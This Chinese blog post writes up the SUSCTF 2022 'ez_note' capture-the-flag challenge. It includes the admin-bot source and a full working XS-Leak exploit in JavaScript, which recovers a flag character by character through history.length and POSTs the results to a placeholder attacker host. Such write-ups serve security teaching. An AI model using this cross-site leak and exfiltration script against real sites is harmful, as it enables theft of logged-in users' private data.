初探 xsleak


SUSCTF ez_note xsleak

挺有意思的xsleak

题目

题目给了源码 正好最近在弄playwright,很快能看出来是干啥

const opt = {
    name: "ez_note",
    router: "ez_note",
    site: process.env.NOTE_SITE ?? "",
    template: "note"
}
const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))

const visit = async (browser, path) =>{
    let site = process.env.NOTE_SITE ?? ""
    let url = new URL(path, site)
    console.log(`[+]${opt.name}: ${url}`)
    let renderOpt = {...opt}
    try {
        const loginpage = await browser.newPage()
        await loginpage.goto( site+"/signin")
        await loginpage.type("input[name=username]", "admin")
        await loginpage.type("input[name=password]", process.env.NOTE_ADMIN_PASS)
        await Promise.all([
            loginpage.click('button[name=submit]'),
            loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
        ])
        await loginpage.goto("about:blank")
        await loginpage.close()

        const page = await browser.newPage()
        await page.goto(url.href, {waitUntil: 'networkidle0', timeout: 2000})

        await delay(5000) /// waiting 5 second.

    }catch (e) {
        console.log(e)
        renderOpt.message = "error occurred"
        return renderOpt
    }
    renderOpt.message = "admin will view your report soon"
    return renderOpt
}

module.exports = {
    opt:opt,
    visit:visit
}

题目界面可以输入path

就是个简单的笔记网站

分析

经过测试不存在xss 越权等

path输入完整http://xxx/xxx可以直接出网

一个是笔记网站 带有”X-Frame-Options: SAMEORIGIN”,samesite属性是lax,express写的

所有功能要先登录,有一个搜索功能,如果搜索到 结果会在1s后跳转

一个playwright服务器?里面带HeadlessChrome/99.0.4844.0,根据附件代码,会先登录笔记站点,然后可以访问提交的url

合在一起像是CSRF,但是也是另外一个考点 xsleak

因为这里用的是 “X-Frame-Options: SAMEORIGIN” 所以只能用window的方式绕过限制(fetch等请求方法带不上cookie,用windows.open可以带cookie访问)

如图所示 samesite属性是lax时是无法防御基于history.length的攻击的

基于时间的或者frame的都不成功

做题

照着现成代码改一改,得到如下js

<script>
var table = "0123456789abcdefgh" //0123456789abcdefgh  ijklmnopqrstuvwxyz_
var result = "unknown"
var resulturl = "unknown"
var url ='http://123.60.29.171:10001/search?q=SUSCTF{a_sh0rt_fl4g'
var tmp=[]
var pos=0

async function m() {
    let mypos=pos
    pos+=1
    let myurl = url+table[mypos];
    console.log(myurl)
    let win = open(myurl);
    
    // Wait for the window to be cross-origin
    await new Promise(r=>setInterval(()=>{try{win.origin.slice()}catch(e){r(e)}},1));
    win.location = myurl;
    await new Promise(resolve => setTimeout(resolve, 1500));
    
    // Change the location to same-origin
    win.location = 'about:blank';
    // Wait for the window to be same-origin
    await new Promise(r=>setInterval(()=>r(win.document.defaultView),1));
    
    // 为了调试方便 保存一下历史
    tmp.push([myurl,win.history.length])
    // See how many entries exist in the history
    if (win.history.length == 3) {
        result=mypos
        resulturl=myurl
    }
}

for (let i = 0; i < table.length; i += 1) {
    setTimeout(m,i*150)
}
setTimeout(function () {
    let request = new XMLHttpRequest();
    request.open("POST", decodeURIComponent("http://xxxxx/xxx"), false);
    request.send(result.toString()+'\n\n\n'+resulturl.toString()+'\n\n\n'+tmp.toString());
    console.log(result)
}, 4500)
</script>

放到flask上 顺便可以监听响应请求 代码就不贴了

参考

https://github.com/susers/SUSCTF2022_official_wp/blob/main/checkin%20%26%20ez_note%20%26%20rubbish_maker_zh.md

https://xsleaks.dev/

https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels


文章作者: Carrot2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Carrot2 !
评论
  目录